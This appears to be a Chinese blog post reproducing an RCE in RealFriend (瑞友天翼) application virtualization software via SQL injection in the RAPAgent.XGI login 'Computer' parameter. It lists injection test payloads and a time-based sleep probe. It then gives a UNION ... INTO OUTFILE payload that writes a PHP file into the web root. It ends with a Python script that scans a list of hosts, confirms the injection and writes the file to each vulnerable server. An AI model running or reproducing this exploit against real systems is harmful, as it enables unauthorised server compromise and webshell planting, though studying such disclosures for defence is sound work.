瑞友天翼RCE漏洞复现

本文最后更新于 2024年7月31日 晚上

漏洞概述

出现问题是出现在客户端，登录功能点处的Computer参数存在SQL注入漏洞，权限足够的话可以写入webshell

影响版本

经测试版本<7.0.4.1都存在

漏洞复现

漏洞URL：客户端登录接口

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/RAPAgent.XGI?CMD=GETApplication&AppID=APP00000001&Language=ZH-CN&User=admin&PWD=e10adc3949ba59abbe56e057f20f883e&AuthType=0&Computer=WIN-1TLJMBOFIT6&Finger=A45A2E5E3&IP=
  1. 下载客户端并进行登录，此时抓取登录的数据包

发现请求的接口是：

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http://110.xxx.xxx.xxx/RAPAgent.XGI?CMD=GETApplication&AppID=APP00000001&Language=ZH-CN&User=admin&PWD=e10adc3949ba59abbe56e057f20f883e&AuthType=0&Computer=WIN-1TLJMBOFIT6&Finger=A45A2E5E3&IP=
  1. 把接口拼接到web端访问

根据返回的信息来看，可能存在SQL注入漏洞

如果打开提示数据库连接错误，就修改AppID进行递增使它提示用户名或密码错误

  1. 丢到burp里测试，使用xia SQL插件给每一个参数都试一试SQL注入的延时payload

可以看到，这里的响应明显被延时了，SQL注入漏洞存在！

xia SQL插件的payload规则支持自定义，比如：

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'
"
')
")
' AND 1=2-- +
" AND 1=2-- +
' AND '1'='2
" AND "1"="2
' OR SLEEP(5) -- +
" OR SLEEP(5) -- +
' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND 'test'='test
') OR SLEEP(5) -- +
' AND 1=CONVERT(int, (SELECT @@version)) --
" AND 1=CONVERT(int, (SELECT @@version)) --

……后面再专门总结
  1. 检测payload分析
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/RAPAgent.XGI?CMD=GETApplication&AppID=APP00000003&Language=ZH-CN&User=admin&PWD=e10adc3949ba59abbe56e057f20f883e&AuthType=0&Computer=WIN-1TLJMBOFIT6%27%20AND%20(SELECT%209990%20FROM%20(SELECT(SLEEP(5)))Joqo)%20AND%20%27DseX%27=%27DseX&Finger=A45A2E5E3&IP=&Finger=A45A2E5E3&IP=

原接口：

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/RAPAgent.XGI?CMD=GETApplication&AppID=APP00000001&Language=ZH-CN&User=admin&PWD=e10adc3949ba59abbe56e057f20f883e&AuthType=0&Computer=WIN-1TLJMBOFIT6&Finger=A45A2E5E3&I

解码后的检测paylaod：

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/RAPAgent.XGI?CMD=GETApplication&AppID=APP00000003&Language=ZH-CN&User=admin&PWD=e10adc3949ba59abbe56e057f20f883e&AuthType=0&Computer=WIN-1TLJMBOFIT6' AND (SELECT 9990 FROM (SELECT(SLEEP(5)))Joqo) AND 'DseX'='DseX&Finger=A45A2E5E3&IP=&Finger=A45A2E5E3&IP=

执行SQL语句是：

‘ AND (SELECT 9990 FROM (SELECT(SLEEP(5)))Joqo) AND ‘DseX’=’DseX

作用就是睡5秒，通过观察响应时间是否变明显长以此来判断是否执行了SQL语句

  1. 既然可以注入，那么尝试进一步利用：写入webshell
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/RAPAgent.XGI?CMD=GETApplication&AppID=APP00000001&Language=ZH-CN&User=admin&PWD=e10adc3949ba59abbe56e057f20f883e&AuthType=0&Computer=WIN-1TLJMBOFIT6%27%20union%20select%200x3c3f70687020706870696e666f28293b203f3e,2%20INTO%20OUTFILE%20%27C:/Program+Files+(x86)/RealFriend/Rap+Server/WebRoot/custom/InfoPage1.files/poctest.php%27--%20-&Finger=A45A2E5E3&IP=

执行的语句是：

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' union select 0x3c3f70687020706870696e666f28293b203f3e,2 INTO OUTFILE 'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/custom/InfoPage1.files/poctest.php'-- -

0x3c3f70687020706870696e666f28293b203f3e是16进制编码的”<?php phpinfo(); ?”，需要知道网站的根目录才行，可以试试几个默认的目录

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C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/custom/InfoPage1.files/
D:/Program Files (x86)/RealFriend/Rap Server/WebRoot/custom/InfoPage1.files/
E:/Program Files (x86)/RealFriend/Rap Server/WebRoot/custom/InfoPage1.files/
F:/Program Files (x86)/RealFriend/Rap Server/WebRoot/custom/InfoPage1.files/

成功写入shell

POC/EXP

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import requests
import time
file=open('url.txt','r')
for host in file:
    print(host)
    host=host.replace('\n','')
    # host='http://59.41.185.162:8888/'
    for i in range(1,5):
        start_time=time.time()
        url=host+'/RAPAgent.XGI?CMD=GETApplication&AppID=APP0000000'+str(i)+'&Language=ZH-CN&User=admin&PWD=e10adc3949ba59abbe56e057f20f883e&AuthType=0&Computer=CMD=GETApplication&AppID=APP00000001&Language=ZH-CN&User=admin&PWD=e10adc3949ba59abbe56e057f20f883e&AuthType=0&Computer=WIN-1TLJMBOFIT6%27%20AND%20(SELECT%209990%20FROM%20(SELECT(SLEEP(10)))Joqo)%20AND%20%27DseX%27=%27DseX&Finger=A45A2E5E3&IP=&Finger=A45A2E5E3&IP='
        try: 
            result=requests.get(url,verify=False).text
            end_time=time.time()
            response_time=end_time-start_time
            if int(response_time) >= 7:
                print("存在延时注入,进行文件上传")
                with open('sql_payload.txt','a')as f:
                    f.write(url+'\n')
                print('Payload:'+url)
                url=host+'/RAPAgent.XGI?CMD=GETApplication&AppID=APP0000000'+str(i)+'&Language=ZH-CN&User=admin&PWD=e10adc3949ba59abbe56e057f20f883e&AuthType=0&Computer=WIN-1TLJMBOFIT6%27%20union%20select%200x3c3f70687020706870696e666f28293b203f3e,2%20INTO%20OUTFILE%20%27C:/Program+Files+(x86)/RealFriend/Rap+Server/WebRoot/custom/InfoPage1.files/poctest.php%27--%20-&Finger=A45A2E5E3&IP='
                result=requests.get(url,verify=False)
                url=host+'/RAPAgent.XGI?CMD=GETApplication&AppID=APP0000000'+str(i)+'&Language=ZH-CN&User=admin&PWD=e10adc3949ba59abbe56e057f20f883e&AuthType=0&Computer=WIN-1TLJMBOFIT6%27%20union%20select%200x3c3f70687020706870696e666f28293b203f3e,2%20INTO%20OUTFILE%20%27D:/Program+Files+(x86)/RealFriend/Rap+Server/WebRoot/custom/InfoPage1.files/poctest.php%27--%20-&Finger=A45A2E5E3&IP='
                result=requests.get(url,verify=False)
                url=host+'/RAPAgent.XGI?CMD=GETApplication&AppID=APP0000000'+str(i)+'&Language=ZH-CN&User=admin&PWD=e10adc3949ba59abbe56e057f20f883e&AuthType=0&Computer=WIN-1TLJMBOFIT6%27%20union%20select%200x3c3f70687020706870696e666f28293b203f3e,2%20INTO%20OUTFILE%20%27C:/Program+Files/RealFriend/Rap+Server/WebRoot/custom/InfoPage1.files/poctest.php%27--%20-&Finger=A45A2E5E3&IP='
                result=requests.get(url,verify=False)
                url=host+'/RAPAgent.XGI?CMD=GETApplication&AppID=APP0000000'+str(i)+'&Language=ZH-CN&User=admin&PWD=e10adc3949ba59abbe56e057f20f883e&AuthType=0&Computer=WIN-1TLJMBOFIT6%27%20union%20select%200x3c3f70687020706870696e666f28293b203f3e,2%20INTO%20OUTFILE%20%27D:/Program+Files/RealFriend/Rap+Server/WebRoot/custom/InfoPage1.files/poctest.php%27--%20-&Finger=A45A2E5E3&IP='
                result=requests.get(url,verify=False)
                url=host+'/custom/InfoPage1.files/poctest.php'    
                result=requests.get(url,verify=False).text
                if result.find('phpinfo')!=-1:
                    print(url+'-文件上传成功')
                    with open('phpinfo_url.txt','a')as f:
                        f.write(url+'\n')
                else:
                    print('文件上传失败')

                break
            else:
                print("注入不存在")
        except Exception as e:
            print('错误请求')
            break
file.close()